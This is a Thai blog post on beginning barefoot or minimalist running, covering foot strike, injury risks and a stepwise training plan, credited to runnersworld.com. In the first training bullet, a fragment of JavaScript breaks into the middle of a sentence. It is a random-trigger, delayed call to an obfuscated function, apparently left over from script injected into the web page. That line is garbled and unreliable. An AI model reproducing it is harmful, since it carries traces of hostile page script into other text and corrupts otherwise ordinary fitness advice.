ความเดิมจากตอนที่แล้ว เราพูดถึงที่มาการวิ่งแบบ Barefoot หรือ Barefoot Run (ขออนุณาตให้หมายถึงพวก minimalist ด้วยนะครับ) ในบทความนี้เราจะพูดถึงการเริ่มวิ่งแบบ Barefoot ว่าต้องทำอย่างไรกันบ้าง แต่ก่อนอื่นเรามาระลึกความหลังกันเกี่ยวกับการวิ่งแบบ Barefoot
ถ้าเปรียบเทียบในเชิงการแข่งขัน ยิ่งมีน้ำหนักน้อยก็ยิ่งวิ่งได้เร็วขึ้น ประหยัดเวลามากขึ้น การวิ่งแบบ Barefoot ก็จะได้เปรียบมากกว่าการใส่รองเท้าวิ่ง นอกจากนี้การลงเท้าของการวิ่งแบบ Barefoot ก็จะมีจุดกระทบที่ต่างกับการใส่รองเท้าวิ่ง ซึ่งบังคับให้เราลงแบบ forefoot strike ในขณะที่การใส่รองเท้าวิ่งจะทำให้เราลงส้น heel strike ได้มากกว่า แต่สำหรับนักวิ่งที่มีประสบการณ์ช่วงการเปลี่ยนถ่ายมาวิ่งแบบ Barefoot สามารถทำได้ง่ายกว่านักวิ่งมือใหม่หรือคนที่วิ่งลงส้น เพราะคนที่วิ่งแบบ rear strike หรือลงส้นนะ ส่วนมากจะเจอปัญหากอาการปวดปวมเอ็นร้อยหวาย Achilles tendon ก็เป็นได้ การวิ่งเท้าเปล่ายังต้องระวังอาการบาดเจ็บ ที่โดนเสี้ยน หิน หรือเศษชองมีคมทิ่มตำ ฉะนั้นแนะนำว่าอย่างน้อยก็ควรหาอะไรหุ้มเท้าไว้ก็ดีนะครับ แต่ถ้ามั่นใจไม่กลัวก็วิ่งเท้าเปล่าเลยครับ
การฝึกวิ่ง Barefoot
- การวิ่งเท้าป่าวหรือ Barefoot ต้องการความแข็งแรงของกล้ามเนื้อน่องและข้อเท้า หรือ ankle andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and calves
- การวิ่งเท้าเปล่าอาจจะไม่เหมาะกับคนทุกคน แต่การฝึกเพิ่มความแข็งแรงให้กับกล้ามเนื้อช่วงล่างและ Core เพื่อให้การวิ่งของเราเสถียรมากกขึ้น จะมีประโยชน์ทั้งวิ่งใส่รองเท้าและเท้าเปล่า
- ในช่วงฝึกแรกๆ นอกจากการฝึกแบบ Strength training แล้วลองใช้การฝึกกับลู่วิ่งหรือเครื่อง elliptical ทั้งเท้าเปล่าหรือสลับรองเท้าแบบ minimalist
- ฝึกเดิน Interval แบบสั้นๆ (วินาทีถึงนาที) ทั้งใส่รองเท้าแบบ Minimalist กับเท้าเปล่าเริ่มจากภายในบ้านเราก่อน หรือจะลองวิ่งกับเครื่อง Elliptical ก็ได้
- เริ่มวิ่งเท้าเปล่าหรือ Minimalist ในช่วงนี้เป็นการฝึกวิ่งจริง และต้องใช้เวลา ร่างกายจะค่อยๆ เรียนรู้การวิ่งแบบเท้าเปล่า และปรับกลไลการวิ่งให้เป็นไปตามธรรมชาติเอง นักวิ่งบางคนจะสามารถปรับเปลี่ยนสเต็บการวิ่งได้เองอย่างรวดเร็วแต่บางคนต้องใช้เวลา แนะนำให้ลองใช้รองเท้า Minimalist ก่อนวิ่งเท้าเปล่าเต็มรูปแบบ
- ต้องฝึกฝน อดทนและรู้จักยืดหยุ่น เพราะการวิ่งเท้าเปล่าหรือ Minimalist เป็นการอาศัยกล้ามเนื้อของร่างกายเราให้วิ่งในรูปแบบที่เป็นธรรมชาติที่สุด กล้ามเนื้อส่วนต้องการเวลาในการพัฒนา การเร่งรัดหรือฝืนวิ่งอาจจะทำให้เกิดอาการบาดเจ็บได้
Credit: runnersworld.com
